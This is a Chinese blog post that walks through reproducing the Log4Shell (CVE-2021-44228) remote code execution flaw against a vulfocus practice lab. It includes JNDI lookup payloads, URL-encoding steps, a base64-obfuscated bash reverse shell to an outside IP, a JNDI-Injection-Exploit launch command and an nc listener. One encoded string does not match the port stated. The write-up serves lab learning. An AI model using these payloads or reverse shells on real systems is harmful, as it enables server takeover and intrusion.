log4j2 远程代码执行漏洞复现(CVE-2021-44228)-cnblog

log4j2 远程代码执行漏洞复现(CVE-2021-44228)

简介

log4j2

log4j2是 Log4j 的升级版,都是 Java 的日志记录框架,由 Apache 开发维护,用于把程序中的日志信息输出到控制台、文件、数据库等。

Log4j2 中默认支持 JNDI(Java Naming and Directory Interface),如果用户的日志内容可控,就可能触发远程加载恶意类并执行,造成 远程代码执行(RCE)。

JNDI

在 Java 编程中,JNDI(Java Naming and Directory Interface)是一套标准的 API,主要用于访问各种命名和目录服务,如 LDAP、RMI、DNS、JDBC 等。它的作用就像是 Java 世界中的“资源查找器”,允许程序通过统一的方式查找并访问外部资源,比如数据库连接、远程对象或配置服务。在企业级 Java 应用中,JNDI 被广泛用于资源配置与服务定位。然而,JNDI 也可能成为攻击者的突破口。一个著名的安全事件就是 2021 年爆发的 Log4j2 远程代码执行漏洞(Log4Shell),攻击者通过构造恶意的 JNDI 请求(如 ${jndi:ldap://...}),诱导应用程序从远程服务器加载并执行恶意类,从而实现控制服务器的目的。这个事件凸显了 JNDI 在功能强大的同时也存在一定的安全风险。因此,在现代 Java 开发中,建议开发者谨慎使用 JNDI,并加强输入过滤、禁用远程类加载或升级使用的相关组件以确保系统安全。

漏洞复现

这里依旧使用vulfocus在线靶场

image-20250722195833644

点击????

image-20250722195855012

构造payload

${jndi:ldap://${sys:java.version}.example.com}

在dnslog处get一个域名,来替换掉命令中example.com

image-20250722195923735

正常直接拼接payload会发现请求失败

image-20250730000248680

这是因为是 get 请求,很大概率对我们传入的内容进行了 URL 解码,因此我们先对 payload 进行 URL 编码后再传入,可以直接用bp里的模块进行编码

image-20250722200052914

image-20250722200106520

image-20250722200126373

除了能执行简单的命令,反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/ip(反弹到的目标主机)/7777 0>&1

用base64编码一下

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=

得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

最后完整的JNDI命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "129.226.90.183"

image-20250729234217068

之前通过dnslog看到靶机jdk是1.8版本的,而我这边是java 11,所以选择这个命令

image-20250729235154086

${jndi:rmi://ip/7ffvsn}

再将命令用url编码之后得到payload进行攻击,执行之前先监听一下端口

nc -lvvp 7777

可以看到执行成功

image-20250729235249532回看JNDI

image-20250729234323180

以及shell已经成功反弹到目标主机

image-20250729234348916

使用命令查找flag

find / -name "*flag*"

image-20250729234641503

posted @ 2025-07-30 00:21  根本睡不醒#  阅读(386)  评论(0)    收藏  举报